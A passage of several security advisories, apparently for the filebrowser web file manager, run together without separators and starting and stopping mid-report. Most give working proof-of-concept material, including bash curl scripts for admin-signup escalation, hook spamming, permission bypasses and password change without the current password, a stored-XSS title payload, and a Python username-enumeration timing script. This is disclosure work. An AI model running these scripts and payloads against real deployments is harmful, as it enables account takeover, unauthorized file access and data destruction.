In the same handler, the error from url.QueryUnescape is checked after d.Check() runs (lines 214-220), meaning the rules check executes on a potentially malformed string if unescaping fails.
Impact
An authenticated user with Copy (Create) or Rename permission can write or move files into any path within their scope that is protected by deny rules. This bypasses both:
- Prefix-based rules: strings.HasPrefix on uncleaned path misses the match - Regex-based rules: Standard patterns like ^/restricted/. fail on uncleaned path
Cannot be used to:
- Escape the user's BasePathFs scope (afero prevents this) - Read from restricted paths (GET handler uses cleaned r.URL.Path)
Suggested Fix
Clean the destination path before the rules check:
go dst, err := url.QueryUnescape(dst) if err != nil { return errToStatus(err), err } dst = path.Clean("/" + dst) src = path.Clean("/" + src) if !d.Check(src) || !d.Check(dst) { return http.StatusForbidden, nil } if dst == "/" || src == "/" { return http.StatusForbidden, nil }
Summary Any unauthenticated visitor can register a full administrator account when self-registration (signup = true) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings - including Perm.Admin - to the new user without any server-side guard that strips admin from self-registered accounts.
Details
Affected file: http/auth.go
Vulnerable code: go // signupHandler (http/auth.go) user := &users.User{ Username: info.Username, } d.settings.Defaults.Apply(user) // ← copies Perm.Admin = true if set in defaults // NO guard: user.Perm.Admin is never cleared here
settings.UserDefaults.Apply (settings/defaults.go): go func (d UserDefaults) Apply(u users.User) { u.Perm = d.Perm // copies full Permissions struct, including Admin field ... }
Settings API permits Admin in defaults (http/settings.go): go var settingsPutHandler = withAdmin(func( http.ResponseWriter, r http.Request, d data) (int, error) { ... d.settings.Defaults = req.Defaults // Admin can set Defaults.Perm.Admin = true ... })
The signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after Defaults.Apply. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings.
Demo Server Setup
bash Pull latest release docker run -d --name fb-test \ -p 8080:80 \ -v /tmp/fb-data:/srv \ filebrowser/filebrowser:v2.31.2
Wait for startup, then set defaults.perm.admin = true ADMINTOKEN=$(curl -s -X POST http://localhost:8080/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin"}')
Enable signup and set admin as default permission curl -s -X PUT http://localhost:8080/api/settings \ -H "X-Auth: $ADMINTOKEN" \ -H 'Content-Type: application/json' \ -d '{ "signup": true, "defaults": { "perm": { "admin": true, "execute": true, "create": true, "rename": true, "modify": true, "delete": true, "share": true, "download": true } } }'
PoC Exploit
bash #!/bin/bash pocsignupadmin.sh Demonstrates: unauthenticated signup → admin account
TARGET="http://localhost:8080"
echo "[] Registering attacker account via public signup endpoint..." STATUS=$(curl -s -o /dev/null -w "%{httpcode}" \ -X POST "$TARGET/api/signup" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack3r!pass"}') echo "[] Signup response: HTTP $STATUS"
echo "[] Logging in as newly created account..." ATTACKERTOKEN=$(curl -s -X POST "$TARGET/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack3r!pass"}')
echo "[] Fetching user list with attacker token (admin-only endpoint)..." curl -s "$TARGET/api/users" \ -H "X-Auth: $ATTACKERTOKEN" | python3 -m json.tool
echo "" echo "[] Verifying admin access by reading /api/settings..." curl -s "$TARGET/api/settings" \ -H "X-Auth: $ATTACKERTOKEN" | python3 -m json.tool
Expected output: The attacker's token successfully returns the full user list and server settings - endpoints restricted to Perm.Admin = true users.
Impact
Any unauthenticated visitor who can reach POST /api/signup obtains a full admin account. From there, they can: - List, read, modify, and delete every file on the server - Create, modify, and delete all other users - Change authentication method and server settings - Execute arbitrary commands if enableExec = true
Summary The TUS resumable upload handler parses the Upload-Length header as a signed 64-bit integer without validating that the value is non-negative. When a negative value is supplied (e.g. -1), the first PATCH request immediately satisfies the completion condition (newOffset >= uploadLength → 0 >= -1), causing the server to fire afterupload exec hooks with a partial or empty file. An authenticated user with upload permission can trigger any configured afterupload hook an unlimited number of times for any filename they choose, regardless of whether the file was actually uploaded - with zero bytes written.
Details
Affected file: http/tushandlers.go
Vulnerable code - POST (register upload): go func getUploadLength(r http.Request) (int64, error) { uploadOffset, err := strconv.ParseInt(r.Header.Get("Upload-Length"), 10, 64) // ← int64: accepts -1, -9223372036854775808, etc. if err != nil { return 0, fmt.Errorf("invalid upload length: %w", err) } return uploadOffset, nil }
// In tusPostHandler: uploadLength, err := getUploadLength(r) // uploadLength = -1 (attacker-supplied) cache.Register(file.RealPath(), uploadLength) // stores -1 as expected size
Vulnerable code - PATCH (write chunk): go // In tusPatchHandler: newOffset := uploadOffset + bytesWritten // 0 + 0 = 0 (empty body) if newOffset >= uploadLength { // 0 >= -1 → TRUE immediately! cache.Complete(file.RealPath()) = d.RunHook(func() error { return nil }, "upload", r.URL.Path, "", d.user) // ← afterupload hook fires with empty or partial file }
The completion check uses signed comparison. Any negative uploadLength is always less than newOffset (which starts at 0), so the hook fires on the very first PATCH regardless of how many bytes were sent.
Consequence: An attacker with upload permission can: 1. Initiate a TUS upload for any filename with Upload-Length: -1 2. Send a PATCH with an empty body (Upload-Offset: 0) 3. afterupload hook fires immediately with a 0-byte (or partial) file 4. Repeat indefinitely - each POST+PATCH cycle re-fires the hook
If exec hooks are enabled and perform important operations on uploaded files (virus scanning, image processing, notifications, data pipeline ingestion), they will be triggered with attacker-controlled filenames and empty file contents.
Demo Server Setup
bash docker run -d --name fb-tus \ -p 8080:80 \ -v /tmp/fb-tus:/srv \ -e FBEXECER=true \ filebrowser/filebrowser:v2.31.2
ADMINTOKEN=$(curl -s -X POST http://localhost:8080/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin"}')
Configure a visible afterupload hook curl -s -X PUT http://localhost:8080/api/settings \ -H "X-Auth: $ADMINTOKEN" \ -H 'Content-Type: application/json' \ -d '{ "commands": { "afterupload": ["bash -c \"echo HOOKFIRED: $FILE $(date) >> /tmp/hooklog.txt\""] } }'
PoC Exploit
bash #!/bin/bash poctusnegativelength.sh
TARGET="http://localhost:8080"
Login as any user with upload permission TOKEN=$(curl -s -X POST "$TARGET/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack3r!pass"}')
echo "[] Token: ${TOKEN:0:40}..."
FILENAME="/triggertest$(date +%s).txt"
echo "[] Step 1: POST TUS upload with Upload-Length: -1" curl -s -X POST "$TARGET/api/tus$FILENAME" \ -H "X-Auth: $TOKEN" \ -H "Upload-Length: -1" \ -H "Content-Length: 0" \ -v 2>&1 | grep -E "HTTP|Location"
echo "" echo "[] Step 2: PATCH with empty body (uploadOffset=0 >= uploadLength=-1 → hook fires)" curl -s -X PATCH "$TARGET/api/tus$FILENAME" \ -H "X-Auth: $TOKEN" \ -H "Upload-Offset: 0" \ -H "Content-Type: application/offset+octet-stream" \ -H "Content-Length: 0" \ -v 2>&1 | grep -E "HTTP|Upload"
echo "" echo "[] Checking hook log on server (/tmp/hooklog.txt)..." echo "[] If hook fired, you will see entries like:" echo " HOOKFIRED: /srv/triggertestXXXX.txt <timestamp>"
echo "" echo "[] Repeating 5 times to demonstrate unlimited hook triggering..." for i in $(seq 1 5); do FNAME="/spamhook$i.txt" curl -s -X POST "$TARGET/api/tus$FNAME" \ -H "X-Auth: $TOKEN" \ -H "Upload-Length: -1" \ -H "Content-Length: 0" > /dev/null curl -s -X PATCH "$TARGET/api/tus$FNAME" \ -H "X-Auth: $TOKEN" \ -H "Upload-Offset: 0" \ -H "Content-Type: application/offset+octet-stream" \ -H "Content-Length: 0" > /dev/null echo " Hook trigger $i sent" done echo "[] Done - 5 hooks fired with 0 bytes uploaded."
Impact
Exec Hook Abuse (when enableExec = true): An attacker can trigger any afterupload exec hook an unlimited number of times with attacker-controlled filenames and empty file contents. Depending on the hook's purpose, this enables:
- Denial of Service: Triggering expensive processing hooks (virus scanning, transcoding, ML inference) with zero cost on the attacker's side. - Command Injection amplification: Combined with the hook injection vulnerability (malicious filename + shell-wrapped hook), each trigger becomes a separate RCE. - Business logic abuse: Triggering upload-driven workflows (S3 ingestion, database inserts, notifications) with empty payloads or arbitrary filenames.
Hook-free impact: Even without exec hooks, a negative Upload-Length creates an inconsistent cache entry. The file is marked "complete" in the upload cache immediately, but the underlying file may be 0 bytes. Any subsequent read expecting a complete file will receive an empty file.
Who is affected: All deployments using the TUS upload endpoint (/api/tus). The enableExec flag amplifies the impact from cache inconsistency to remote command execution.
Resolution
This vulnerability has not been addressed, and has been added to the issue tracking all security vulnerabilities regarding the command execution (https://github.com/filebrowser/filebrowser/issues/5199). Command execution is disabled by default for all installations and users are warned if they enable it. This feature is not to be used in untrusted environments and we recommend to not use it.
Summary Stored XSS is possible via share metadata fields (e.g., title, description) that are rendered into HTML for /public/share/<hash> without context-aware escaping. The server uses text/template instead of html/template, allowing injected scripts to execute when victims visit the share URL.
Details The server renders public/index.html using text/template and injects user-controlled share fields (title/description/etc.) into HTML contexts. text/template does not perform HTML contextual escaping like html/template. Because share metadata is persistent, the payload becomes stored and executes whenever a victim opens the affected share page.
Relevant code paths: - backend/http/static.go (template rendering and share metadata assignment) - backend/http/httpRouter.go (template initialization) - frontend/public/index.html (insertion points for title/description and related fields)
PoC 1. Login as a user with share creation permission. 2. Create a share (POST /api/share) with malicious metadata: - title = </title><script>alert("xss")</script><title> 3. Open the resulting /public/share/<hash> URL in a browser. 4. Expected: Payload is safely escaped and displayed as text. 5. Actual: JavaScript executes in victim's browser (stored XSS).
Tested on Docker image: gtstef/filebrowser:stable (version v1.2.1-stable).
Impact - Arbitrary script execution in application origin. - Potential account/session compromise, CSRF-like action execution, data exfiltration from authenticated contexts. - Affects anyone (including unauthenticated visitors) opening the malicious share URL. - The XSS is stored and persistent — no social engineering beyond sharing the link is required.
Summary The remediation for CVE-2026-27611 appears incomplete. Password protected shares still disclose tokenized downloadURL via /public/api/share/info in docker image gtstef/filebrowser:1.3.1-webdav-2.
Details The issue stems from two flaws: 1. Tokenized download URLs are written into the persistent share model backend/http/share.go convertToFrontendShareResponse(line 63) s.DownloadURL = getShareURL(r, s.Hash, true, s.Token) 2. The public endpoint: GET /public/api/share/info returns shareLink.CommonShare without clearing DownloadURL.
Since Token is set for password-protected shares, and getShareURL(..., true, token) embeds it as a query parameter, the public API discloses a valid bearer download capability.
The previous patch removed token generation in one handler but did not address the persisted DownloadURL values/Public reflection of existing DownloadURL
PoC 1. Create a password protected share as an authenticated user
2. Copy the public share URL (the clipboard WITHOUT an arrow) http://yourdomain/public/share/yoursharedhash Example: http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw
3. Query the public share endpoint via curl request: curl 'http://yourdomain/public/api/share/info?hash=(your-share-hash)' -H 'Accept: /' Example: curl 'http://yourdomain/public/api/share/info?hash=2EBGbXgXg5dpw-nK0RG6vw' -H 'Accept: /' Response includes: { "shareTheme": "default", "title": "Shared files - test.md", "description": "A share has been sent to you to view or download.", "disableSidebar": false, "downloadURL": "http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw\u0026token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D", "shareURL": "http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw", "enforceDarkLightMode": "default", "viewMode": "normal", "shareType": "normal", "sidebarLinks": [ { "name": "Share QR Code and Info", "category": "shareInfo", "target": "#", "icon": "qrcode" }, { "name": "Download", "category": "download", "target": "#", "icon": "download" }, { "name": "sourceLocation", "category": "custom", "target": "/srv/test.md", "icon": "" } ], "hasPassword": true, "disableLoginOption": false, "sourceURL": "/srv/test.md" } Note the response "hasPassword": true and downloadURL includes token= parameter
4. Take the downloadURL(seen in json data response) and replace \u0026 with & and paste link into Incognito or private browser to ensure cookies are not interfering Example: http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw&token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D
Browser downloads file immediately without requiring password
Impact An unauthenticated attacker can retrieve password protected shared files without the password. Results in authentication bypass, unauthorized file access and confidentiality compromise
Recommended Remediation Sanitize DownloadURL in public share info responses via commonShare.DownloadURL = "" before returning the json response in shareInfoHandler method located in backend/share.go
Structural fix, only generate tokenized URLs after successful password validation
Summary
A broken access control vulnerability in the TUS protocol DELETE endpoint allows authenticated users with only Create permission to delete arbitrary files and directories within their scope, bypassing the intended Delete permission restriction. Any multi-user deployment where administrators explicitly restrict file deletion for certain users is affected.
Details
The tusDeleteHandler function in http/tushandlers.go incorrectly gates the DELETE operation behind Perm.Create instead of Perm.Delete:
go // http/tushandlers.go - tusDeleteHandler (VULNERABLE) func tusDeleteHandler(cache UploadCache) handleFunc { return withUser(func( http.ResponseWriter, r http.Request, d data) (int, error) { if r.URL.Path == "/" || !d.user.Perm.Create { // ← Wrong permission checked return http.StatusForbidden, nil } // ... err = d.user.Fs.RemoveAll(r.URL.Path) // File is deleted
The correct resourceDeleteHandler in http/resource.go properly checks Perm.Delete:
go // http/resource.go - resourceDeleteHandler (CORRECT) func resourceDeleteHandler(fileCache FileCache) handleFunc { return withUser(func( http.ResponseWriter, r http.Request, d data) (int, error) { if r.URL.Path == "/" || !d.user.Perm.Delete { // ← Correct permission return http.StatusForbidden, nil }
This inconsistency means that DELETE /api/tus/{path} and DELETE /api/resources/{path} enforce entirely different permission models for the same underlying filesystem operation. The TUS endpoint was introduced to support resumable uploads (http/tushandlers.go) and its DELETE handler is intended to cancel in-progress uploads -however, the RemoveAll call permanently removes the file from the filesystem regardless of how the upload was initiated.
Proposed fix:
go // http/tushandlers.go - if r.URL.Path == "/" || !d.user.Perm.Create { + if r.URL.Path == "/" || !d.user.Perm.Delete {
PoC
- filebrowser built from latest master (git clone https://github.com/filebrowser/filebrowser) - Tested on: Kali Linux, go version go1.23+
Setup section
bash Build and initialize git clone https://github.com/filebrowser/filebrowser cd filebrowser go build -o filebrowser . ./filebrowser config init
Create a test user with Create=true but Delete=false ./filebrowser users add testuser SuperSecurePassword1234 \ --perm.create=true \ --perm.delete=false
Start server ./filebrowser &
POC script steps
1. Confirm the Delete permission is correctly enforced on the standard endpoint:
bash TOKEN=$(curl -s -X POST localhost:8080/api/login \ -H "Content-Type: application/json" \ -d '{"username":"testuser","password":"SuperSecurePassword1234"}')
Attempt deletion via the standard resource endpoint → should be blocked curl -s -X DELETE "localhost:8080/api/resources/target.txt" \ -H "X-Auth: $TOKEN" \ -w "HTTP Status: %{httpcode}\n"
Expected: HTTP Status: 403
2. Bypass via the TUS Delete endpoint:
bash Initiate a TUS upload to register the file in the upload cache curl -s -X POST "localhost:8080/api/tus/target.txt" \ -H "X-Auth: $TOKEN" \ -H "Upload-Length: 18" \ -w "HTTP Status: %{httpcode}\n"
Expected: HTTP Status: 201
Now delete via the TUS endpoint - Perm.Delete is NOT checked curl -s -X DELETE "localhost:8080/api/tus/target.txt" \ -H "X-Auth: $TOKEN" \ -w "HTTP Status: %{httpcode}\n"
Expected: HTTP Status: 204 ← File deleted despite Perm.Delete=false
Observed results: DELETE /api/resources/target.txt --> 403 Forbidden ( permission enforced ) DELETE /api/tus/target.txt --> 204 No Content ( permission bypassed )
Impact This is a broken access control vulnerability (IDOR / permission model bypass). It affects any filebrowser deployment where:
- Multiple users share a single instance, and - An administrator has explicitly set Perm.Delete=false for one or more users to restrict destructive operations
An attacker (authenticated user with Perm.Create=true) can permanently delete any file or directory within their assigned scope-including files they did not create - by initiating a TUS upload against the target path and immediately issuing a TUS DELETE request. This completely undermines the intended access control model, as administrators have no reliable way to prevent file deletion for users who retain upload rights.
Summary When a user creates a public share link for a directory, the withHashFile middleware in http/public.go (line 59) uses filepath.Dir(link.Path) to compute the BasePathFs root. This sets the filesystem root to the parent directory instead of the shared directory itself, allowing anyone with the share link to browse and download files from all sibling directories.
Details In http/public.go lines 52-64, the withHashFile function handles public share link requests:
go basePath := link.Path // e.g. "/documents/shared" filePath := ""
if file.IsDir { basePath = filepath.Dir(basePath) // BUG: becomes "/documents" (parent!) filePath = ifPath }
d.user.Fs = afero.NewBasePathFs(d.user.Fs, basePath)
When a directory at /documents/shared is shared, filepath.Dir("/documents/shared") evaluates to "/documents". The BasePathFs is then rooted at the parent directory /documents/, giving the share link access to everything under /documents/ - not just the intended /documents/shared/.
This affects both publicShareHandler (directory listing via /api/public/share/{hash}) and publicDlHandler (file download via /api/public/dl/{hash}/path).
PoC
1. Set up filebrowser with a user whose scope contains: 2. - /documents/shared/public-file.txt (intended to be shared) 3. - /documents/secrets/passwords.txt (NOT intended to be shared) 4. - /documents/private/financial.csv (NOT intended to be shared) 2. Create a public share link for the directory /documents/shared (via POST /api/share/documents/shared) 3. Access the share link: GET /api/public/share/{hash} 4. - Expected: Lists only contents of /documents/shared/ 5. - Actual: Lists contents of /documents/ (parent), revealing secrets/, private/, and shared/ directories 4. Download sibling files: GET /api/public/dl/{hash}/secrets/passwords.txt 5. - Expected: 404 or 403 (file outside share scope) 6. - Actual: 200 with file contents (sibling file downloaded successfully) Standalone Go test reproducing the exact vulnerable code path with afero.NewBasePathFs:
go func TestShareScopeEscape(t testing.T) { baseFs := afero.NewMemMapFs() afero.WriteFile(baseFs, "/documents/shared/public.txt", []byte("public"), 0644) afero.WriteFile(baseFs, "/documents/secrets/passwords.txt", []byte("admin:hunter2"), 0644)
linkPath := "/documents/shared" basePath := filepath.Dir(linkPath) // BUG: "/documents" scopedFs := afero.NewBasePathFs(baseFs, basePath)
// Sibling file is accessible through the share: f, err := scopedFs.Open("/secrets/passwords.txt") // err is nil - file accessible! Content: "admin:hunter2" }
This test passes, confirming the vulnerability.
Impact
Unauthenticated information disclosure (CWE-200, CWE-706). Anyone with a public share link for a directory can: - Browse all sibling directories and files of the shared directory - - Download any file within the parent directory scope - - This works without authentication (public shares) or after providing the share password (password-protected shares) All filebrowser v2.x installations that use directory sharing are affected.
Recommended Fix
Remove the filepath.Dir() call and use link.Path directly as the BasePathFs root:
go if file.IsDir { // Don't change basePath - keep it as link.Path filePath = ifPath } d.user.Fs = afero.NewBasePathFs(d.user.Fs, basePath)
Affected commit: e3d00d591b567a8bfe3b02e42ba586859002c77d (latest) File: http/public.go, line 59
Summary An authenticated user can bypass the application's "Disallow" file path rules by modifying the request URL. By adding multiple slashes (e.g., //private/) to the path, the authorization check fails to match the rule, while the underlying filesystem resolves the path correctly, granting unauthorized access to restricted files.
Details The vulnerability allows users to bypass "Disallow" rules defined by administrators.
The issue stems from how the application handles URL path normalization and rule matching:
1. Router Configuration: The router in http/http.go is configured with r.SkipClean(true). This prevents the automatic collapse of multiple slashes (e.g., // becoming /) before the request reaches the handler. 2. Insecure Rule Matching: The rule enforcement logic in rules/rules.go relies on a simple string prefix match: strings.HasPrefix(path, r.Path). If a rule disallows /private, a request for //private fails this check because //private does not strictly start with /private. 3. Filesystem Resolution: After bypassing the rule check, the non-normalized path is passed to the filesystem. The filesystem treats the multiple slashes as a single separator, successfully resolving //private/secret.txt and serving the file.
PoC Python minimal PoC
The following steps demonstrate the vulnerability: 1. Setup: - Admin user creates a folder /private and adds a file /private/secret.txt. <img width="971" height="719" alt="Screenshot20260123151608" src="https://github.com/user-attachments/assets/2071c92e-2bbe-46f8-a338-05b0f53d381a" /> <img width="890" height="386" alt="Screenshot20260123151551" src="https://github.com/user-attachments/assets/1def540a-de26-4666-a6ab-058d5927bfbe" /> - Admin adds a Disallow rule for user bob on the path /private. <img width="1005" height="1126" alt="Screenshot20260123151502" src="https://github.com/user-attachments/assets/e9b57d59-f4ab-41d8-b056-8ffdaa219963" />
2. Verification: - User bob requests GET /api/resources/private/secret.txt. - Server responds: 403 Forbidden. <img width="1193" height="721" alt="Screenshot20260123154446" src="https://github.com/user-attachments/assets/dd092a10-2f8c-4a3c-b48f-d540c483bb5a" /> 3. Exploit: - User bob requests GET /api/resources//private/secret.txt. - Server responds: 200 OK (Bypass successful). <img width="1193" height="721" alt="Screenshot20260123154544" src="https://github.com/user-attachments/assets/27ebb82c-f7c2-467d-ae82-f495ae3aa2d4" /> <img width="1196" height="818" alt="Screenshot20260123154618" src="https://github.com/user-attachments/assets/82035884-9a24-490d-b928-7bdd2dbe3193" />
Impact This vulnerability impacts the confidentiality and integrity of data stored in filebrowser. - Confidentiality: Users can read files they are explicitly forbidden from accessing. - Integrity: If the user has general write permissions but is restricted from specific directories via rules, they can bypass these restrictions to rename, delete, or modify files.
Security Advisory: Authentication Bypass in User Password Update
Summary
A case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user's password) without providing the current password. By using Title Case field name "Password" instead of lowercase "password" in the API request, the currentpassword verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means.
CVSS Score: 7.5 (High) CWE: CWE-178 (Improper Handling of Case Sensitivity)
---
Details
The vulnerability exists in http/users.go in the userPutHandler function (lines 181-200).
Vulnerable Code
go // http/users.go:181-200 if d.settings.AuthMethod == auth.MethodJSONAuth { var sensibleFields = map[string]struct{}{ "all": {}, "username": {}, "password": {}, // lowercase "scope": {}, "lockPassword": {}, "commands": {}, "perm": {}, }
for , field := range req.Which { if , ok := sensibleFields[field]; ok { // Case-sensitive lookup if !users.CheckPwd(req.CurrentPassword, d.user.Password) { return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect } break } } }
Root Cause
1. The sensibleFields map uses lowercase keys (e.g., "password") 2. The lookup sensibleFields[field] is case-sensitive 3. When req.Which contains "Password" (Title Case), the lookup returns false 4. The password verification block is skipped entirely 5. Later in the code (line 229), field names are converted to Title Case for processing, so "Password" is a valid field name
Attack Flow
1. Attacker obtains victim's JWT token (via XSS, log leakage, etc.) 2. Attacker sends PUT /api/users/{id} with: - which: ["Password"] (Title Case - bypasses validation) - data.password: "attackerpassword" - NO currentpassword field required 3. Password is changed without verification 4. Victim is locked out, attacker has full access
---
PoC
Prerequisites - A valid JWT token for any user account - Target Filebrowser instance using JSON authentication (default)
Reproduction Steps
Step 1: Obtain a valid JWT token bash TOKEN=$(curl -s -X POST "http://target:8080/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"victim","password":"victimpassword"}')
Step 2: Attempt normal password change (should fail) bash curl -s -X PUT "http://target:8080/api/users/1" \ -H "X-Auth: $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "what": "user", "which": ["password"], "data": {"id": 1, "password": "NewPassword123456"} }' Response: 400 Bad Request (the current password is incorrect)
Step 3: Bypass with Title Case (succeeds without currentpassword) bash curl -s -X PUT "http://target:8080/api/users/1" \ -H "X-Auth: $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "what": "user", "which": ["Password"], "data": {"id": 1, "password": "HackedPassword123"} }' Response: 200 OK
Step 4: Verify account takeover bash Original password no longer works curl -s -X POST "http://target:8080/api/login" \ -d '{"username":"victim","password":"victimpassword"}' Response: 403 Forbidden
New password works curl -s -X POST "http://target:8080/api/login" \ -d '{"username":"victim","password":"HackedPassword123"}' Response: Valid JWT token
Automated PoC Script
bash #!/bin/bash Usage: ./poc.sh <target> <username> <currentpassword> <newpassword>
TARGET="$1" USERNAME="$2" CURRENTPASS="$3" NEWPASS="$4"
Login TOKEN=$(curl -s -X POST "$TARGET/api/login" \ -H "Content-Type: application/json" \ -d "{\"username\":\"$USERNAME\",\"password\":\"$CURRENTPASS\"}")
Get user ID from token USERID=$(echo "$TOKEN" | python3 -c " import sys,json,base64 parts=input().split('.') payload=json.loads(base64.b64decode(parts[1]+'==')) print(payload['user']['id']) ")
Exploit: Change password without currentpassword curl -s -X PUT "$TARGET/api/users/$USERID" \ -H "X-Auth: $TOKEN" \ -H "Content-Type: application/json" \ -d "{ \"what\": \"user\", \"which\": [\"Password\"], \"data\": {\"id\": $USERID, \"password\": \"$NEWPASS\"} }"
echo "Password changed to: $NEWPASS"
---
Impact
Who is Impacted
- All Filebrowser users using JSON authentication method (default configuration) - Any user whose JWT token can be obtained by an attacker - Particularly high-value targets: administrator accounts
Attack Scenarios
| Scenario | Impact | |----------|--------| | XSS + Token Theft | Complete account takeover | | JWT in Server Logs | Mass account compromise | | Shared Computer | Session hijacking | | Malicious Browser Extension | Credential theft |
Security Impact
| Category | Severity | |----------|----------| | Confidentiality | High - Attacker gains full account access | | Integrity | High - Attacker can modify all user data | | Availability | High - Legitimate user locked out |
Scope
- The vulnerability affects password modification only - Other sensitive fields (Username, Scope, Perm, etc.) have additional protection via NonModifiableFieldsForNonAdmin check - However, for administrators, all fields can be modified using this bypass technique
---
Suggested Fix
Option 1: Case-insensitive field matching (Recommended)
go // Convert field to lowercase before checking for , field := range req.Which { if , ok := sensibleFields[strings.ToLower(field)]; ok { if !users.CheckPwd(req.CurrentPassword, d.user.Password) { return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect } break } }
Option 2: Use Title Case in sensibleFields
go var sensibleFields = map[string]struct{}{ "All": {}, "Username": {}, "Password": {}, // Title Case to match post-transformation "Scope": {}, "LockPassword": {}, "Commands": {}, "Perm": {}, }
// Check AFTER field name transformation for k, v := range req.Which { v = cases.Title(language.English, cases.NoLower).String(v) req.Which[k] = v // Now check with Title Case if , ok := sensibleFields[v]; ok { if !users.CheckPwd(req.CurrentPassword, d.user.Password) { return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect } break } }
---
References
- Affected File: http/users.go - Affected Lines: 181-200 - Related Code: NonModifiableFieldsForNonAdmin (line 17)
Summary The JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.
Details The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.
This difference in execution path creates a measurable timing discrepancy:
Invalid User: ~1ms execution (Database lookup only). Valid User: ~50ms+ execution (Database lookup + Bcrypt hashing).
In auth/json.go: go // auth/json.go line 54 u, err := usr.Get(srv.Root, cred.Username) // VULNERABILITY: // If 'err != nil' (User not found), the OR condition short-circuits. // The second part (!users.CheckPwd) is NEVER executed. // // If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt). if err != nil || !users.CheckPwd(cred.Password, u.Password) { return nil, os.ErrPermission } PoC The following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.
python import requests import time import random import string import statistics import argparse
CALIBRATIONSAMPLES = 20 ENDPOINT = "/api/login"
def generaterandomuser(length=10): return ''.join(random.choices(string.asciilowercase + string.digits, k=length))
def measureresponsetime(url, username): start = time.perfcounter() try: requests.post(url, json={"username": username, "password": "dummypass123!"}) except Exception as e: print(f"[!] Connection error: {e}") return 0 return time.perfcounter() - start
def calibrate(url): print(f"\n[] Calibrating with {CALIBRATIONSAMPLES} random users...") times = [] print(" Progress: ", end="", flush=True) for in range(CALIBRATIONSAMPLES): randomuser = generaterandomuser() elapsed = measureresponsetime(url, randomuser) times.append(elapsed) print(".", end="", flush=True) print(" OK") mean = statistics.mean(times) try: stdev = statistics.stdev(times) except: stdev = 0.0 threshold = mean + (5 stdev) + 0.005 print(f" - Mean time (invalid users): {mean:.4f}s") print(f" - Standard deviation: {stdev:.6f}s") print(f" - Threshold set: {threshold:.4f}s") return threshold
def loadwordlist(wordlistpath): try: with open(wordlistpath, 'r', encoding='utf-8') as f: users = [line.strip() for line in f if line.strip()] return users except FileNotFoundError: print(f"[!] Wordlist not found: {wordlistpath}") exit(1) except Exception as e: print(f"[!] Error reading wordlist: {e}") exit(1)
def timingattack(url, threshold, users): print(f"\n[] Testing {len(users)} users from wordlist...") print("-" 50) print(f"{'Username':<15} | {'Time':<10} | {'Status'}") print("-" 50) found = [] for user in users: elapsed = measureresponsetime(url, user) if elapsed > threshold: status = ">> VALID <<" found.append(user) else: status = "invalid" print(f"{user:<15} | {elapsed:.4f}s | {status}") return found
def main(): parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit') parser.addargument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)') parser.addargument('-w', '--wordlist', required=True, help='Path to wordlist file') args = parser.parseargs() targeturl = args.url.rstrip('/') + ENDPOINT print("=== FILEBROWSER TIMING ATTACK ===\n") print(f"[] Target: {targeturl}") print(f"[] Wordlist: {args.wordlist}") try: threshold = calibrate(targeturl) users = loadwordlist(args.wordlist) print(f"\n[] Loaded {len(users)} users from wordlist") print("[] Starting attack...") validusers = timingattack(targeturl, threshold, users) print("\n" + "="50) print(f"SUMMARY: {len(validusers)} valid users found") if validusers: for u in validusers: print(f" -> {u}") print("="50) except KeyboardInterrupt: print("\n[!] Attack cancelled")
if name == "main": main()
For example, in this case, I have guchihacker as the only valid user in the application. <img width="842" height="310" alt="image" src="https://github.com/user-attachments/assets/b3caf11e-279c-4532-aa96-fd20cda153a3" />
I am going to use the exploit to list valid users. <img width="628" height="716" alt="image" src="https://github.com/user-attachments/assets/f9d93e8e-e773-42a5-8a06-bc6bcc2a71fa" /> As we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.
Impact An unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names).
I remain at your disposal for any questions you may have on this matter. Thank you very much.
Sincerely, Felix Sanchez (GUCHI)
Summary It has been found an Insecure Direct Object Reference (IDOR) vulnerability in the FileBrowser application's share deletion functionality. This vulnerability allows any authenticated user with share permissions to delete other users' shared links without authorization checks.
